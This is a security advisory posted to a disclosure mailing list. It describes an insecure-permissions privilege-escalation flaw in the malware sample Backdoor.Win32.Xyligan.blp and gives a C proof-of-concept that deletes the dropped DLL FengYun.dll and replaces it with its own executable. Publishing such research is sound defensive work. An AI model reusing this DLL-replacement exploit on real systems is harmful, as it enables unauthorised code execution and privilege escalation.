Date: Mon, 1 Feb 2021 18:56:53 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Xyligan.blp / Insecure Permissions EoP

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/6b9afcad282516173c0ab8a6eb91e8b4.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Xyligan.blp
Vulnerability: Insecure Permissions EoP
Description: Xyligan.blp creates an insecure dir named "Temp" under
c:\ drive and drops DLL "FengYun.dll into it". The C:\Temp is granted
change (C) permissions to the authenticated users group allowing any
authenticated user to change the DLL to one of their own executables.
Type: PE32
MD5: 6b9afcad282516173c0ab8a6eb91e8b4.exe
Vuln ID: MVID-2021-0065
Dropped files: FengYun.dll
Disclosure: 02/01/2021

Exploit/PoC:
#include "stdio.h"
#include "windows.h"
#define TARGET "C:\\Temp\\FengYun.dll"
#define TMP "C:\\Temp\\2.exe"
#define DISABLED_TARGET "C:\\Temp\\pwn.tmp"

/* Backdoor.Win32.Xyligan.blp.6b9afcad282516173c0ab8a6eb91e8b4.exe */
/* Insecure Permissions EoP */
/* By Malvuln */

BOOL PWNED=FALSE;

  BOOL FileExists(LPCTSTR szPath){
  DWORD dwAttrib = GetFileAttributes(szPath);
  return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib &
FILE_ATTRIBUTE_DIRECTORY));
}

void main(void){

  if(!FileExists(DISABLED_TARGET)){
  	WinExec("cmd.exe /c del C:\\Temp\\FengYun.dll", 0);
  	Sleep(1000);
  	CopyFile(TARGET, TMP, FALSE);
  	Sleep(1000);
    CopyFile(TMP, DISABLED_TARGET, FALSE);
    printf("[+] Backdoor.Win32.Xyligan.blp EoP PoC\n");
    Sleep(1000);
    printf("[+] Deleted FengYun.dll ...\n");
    Sleep(300);
   }else{
  	 PWNED=TRUE;
   }

    if(!PWNED){
     	char fname[MAX_PATH];
        char newLoc[]=TARGET;
        DWORD size = GetModuleFileNameA(NULL, fname, MAX_PATH);
       if (size){
         printf("[+] Copying exploit to vuln dir...\n");
         Sleep(1000);
         CopyFile(fname, TARGET, FALSE);
         printf("[+] Done!\n");
         exit(0);
        }
    }else{
    	if(FileExists(TMP)){
          remove(TMP);
    	}
     	printf("[+] Backdoor.Win32.Xyligan.blp PWNED!\n");
     	printf("[+] MD5: 6b9afcad282516173c0ab8a6eb91e8b4\n");
     	printf("[+] By Malvuln\n");
     	system("pause");
     }
}


C:\>cacls \Temp
C:\Temp BUILTIN\Administrators:(OI)(CI)(ID)F
        NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
        BUILTIN\Users:(OI)(CI)(ID)R
        NT AUTHORITY\Authenticated Users:(ID)C
        NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C


Disclaimer: The information contained within this advisory is supplied
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advisory, provided that it is not altered except by reformatting it,
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insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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